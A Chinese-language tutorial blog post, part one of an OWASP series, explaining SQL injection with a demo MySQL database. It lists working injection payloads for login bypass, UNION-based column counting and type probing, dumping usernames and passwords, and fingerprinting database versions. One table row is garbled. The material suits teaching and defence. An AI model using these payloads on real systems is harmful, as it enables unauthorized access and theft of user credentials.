德慎思信息安全-OWASP 系列之注入漏洞(上)

OWASP 系列之注入漏洞(上)

摘要

上一期我们介绍了 OWASP 最重要的两个版本把注入漏洞排到了榜一,可见此漏洞的常见与严重程度。接下来我们就详细的介绍下注入漏洞

SQL injection

SQL 注入介绍

对于已经懂点数据库相关开发知识的朋友,在第一次接触 SQl 注入漏洞的时候可能会非常好奇,是怎么样的语法就让攻击者注入获取了数据库的数据呢?

我们来看一下简单的注入的例子

# 假设我们后端有数据库 xiaomi
mysql root@localhost:xiaomi> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| xiaomi             |
| zblog_demo         |
+--------------------+

17 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>

# 数据库 xiaomi 有如下表
mysql root@localhost:xiaomi> show tables;
+------------------+
| Tables_in_xiaomi |
+------------------+
| dept             |
| emp              |
| salgrade         |
| user             |
| x                |
+------------------+
5 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>

# 其中 user 表结构/数据如下
mysql root@localhost:xiaomi> desc user;
+---------+----------+------+-----+---------+----------------+
| Field   | Type     | Null | Key | Default | Extra          |
+---------+----------+------+-----+---------+----------------+
| id      | int(11)  | NO   | PRI | <null>  | auto_increment |
| name    | char(10) | NO   |     | <null>  |                |
| address | char(50) | NO   |     | <null>  |                |
+---------+----------+------+-----+---------+----------------+

3 rows in set
Time: 0.008s
mysql root@localhost:xiaomi> select * from user;
+----+----------+---------------+
| id | name     | address       |
+----+----------+---------------+
| 1  | lihua    | guangdong     |
| 2  | wang     | xian          |
| 3  | lisi     | henan         |
| 4  | fu       | beijin        |
| 5  | xiaoming | henan         |
| 6  | lishi    | shanghaiditie |
+----+----------+---------------+
6 rows in set
Time: 0.003s
mysql root@localhost:xiaomi>

假设前端通过一个 URL 来请求后端服务,查询用户

https://example.com/user.php?name=xiaoming&address=henan

参数 name 的内容会传递到后端代码并进行 sql 语法查询,如果我们后端的 sql 语句为下面这样

select * from user where name= 'xiaoming' and address ='henan'

那么,正常我们就会从数据库查到我们希望的数据

但是,一个恶意的攻击者,修改的访问后端的 URL,传递了恶意的参数如下

# 参数 name 的值修改为了 xiaoming' union select id, name, address from user --
https://example.com/user.php?name=xiaoming' union select id, name, address from user -- '&address=henan

# url 编码后的地址为
https://example.com/user.php?name=xiaoming%27%20union%20select%20id,%20name,%20address%20from%20user%20--%20%27&address=henan

那么,最终在数据库中 sql 的语法执行的语句为

select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'

我们看到,执行结果发生了我们期望之外的变化

这就是 SQL 注入,啊!多么痛的领悟

下来,我们了解下 SQL 注入的各种细节

常见 SQL 注入类型

  • 查询隐藏的数据
  • 影响应用程序逻辑
  • UNION 攻击
  • 查询数据库版本与结构
  • SQL 盲注

查询隐藏的数据

这个例子,我们在上面介绍了,我们接下来看看其他的例子

影响应用程序的逻辑

# 假设后端的登录验证代码如下
select * from users where username = 'admin' and password = 'password'

# 恶意的攻击者,传递  administrator ' --
# 最终的 sql 语法会变成下面这样
select * from users where username = 'administrator ' --' and password = 'password'

一个正常的普通账户的登录语句应该是这样

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

攻击者修改后,变成这样

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

在线实验

UNION 攻击

union 命令可以执行多个额外的 select 查询,如这样

这里有两个关键点

  • 每个查询要回显相同数量的列(所以,要进行攻击的话要确认原始sql 语句会回显多少数据列???)
  • 每个数据列类型在查询语句上要匹配(所以,要进行攻击的话,要选择合适的数据类型)

在我们的注入介绍小节中的 sql 语句

select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'

还原回原始的 sql 语句后是这样

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

这里,按 union 的语法规则

  1. 每个查询都回显了查相同数量的数据列
  2. 每个数据列的类型在查询之间是匹配的

那么,问题来了。

如何确定 union 攻击,所需要的列的数量呢???

列数量确定

这里我们介绍两种方法:

  • 利用 ordery by
  • 利用报错 union select

先来看下,利用 ordery by 确定列数量

order by 1 -- 
order by 2 --
order by 3 -- 

这样,我们就可以确定原始的 sql 查询的表是有 3个数据列的。

再来,我们看下利用报错 union select 确定数据列数量

# 主要利用 NULL 的原因为,可以转换为每种常用的数据类型
union select null -- 
union select null,null-- 
union select null,null,null-- 

注意: 不是所有数据库都会做 null 转换

在线实验

再来,确认列的字段类型

union select 'a', null, null, null --
union select null, 'a', null, null --
union select null, null, 'a', null --
union select null, null, null, 'a' --

在线实验

跨表查询

# 利用 union 
' union select username, password from users -- 

在线实验

在单个列中查询多个值

# 在单个列中查询多个值
# 先找有几个列
# 可以通过字符串拼接的方式来利用 ||
’ union select username || '~' || password from users --,

对于不同的数据库,字符串拼接方式不同

数据库 字符串拼接
Oracle ‘a’ || ‘b’
Microsoft ‘a’ + ‘b’
PostgreSQL ‘a’ || ‘b’
MySQL ‘a’ ‘b’ (中间有空格)或者使用函数 concat(‘a’, ‘b’)

在线实验

查询数据库类型和版本

数据库 查看版本方法
Oracle select banner from vversion<br/>selectversionfromvversion<br />select version from vversion<br/>selectversionfromvversion
Microsoft select @@ version
PostgreSQL select version()
MySQL select @@version

在攻击中利用的方式为

# oracle 
' union select banner, NULL from v$version--

# mysql, microsoft
' union select @@version, NULL  --  #

在线实验

所有以上介绍的语句,都是为了我们收集数据库信息,为也后续根据数据库类型、结构版本来定制攻击语句,获取数据库数据。

本次 SQL 注入的部分,我们先介绍到这里,下一期我们将介绍更进一步的注入方式,欢迎大家围观。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容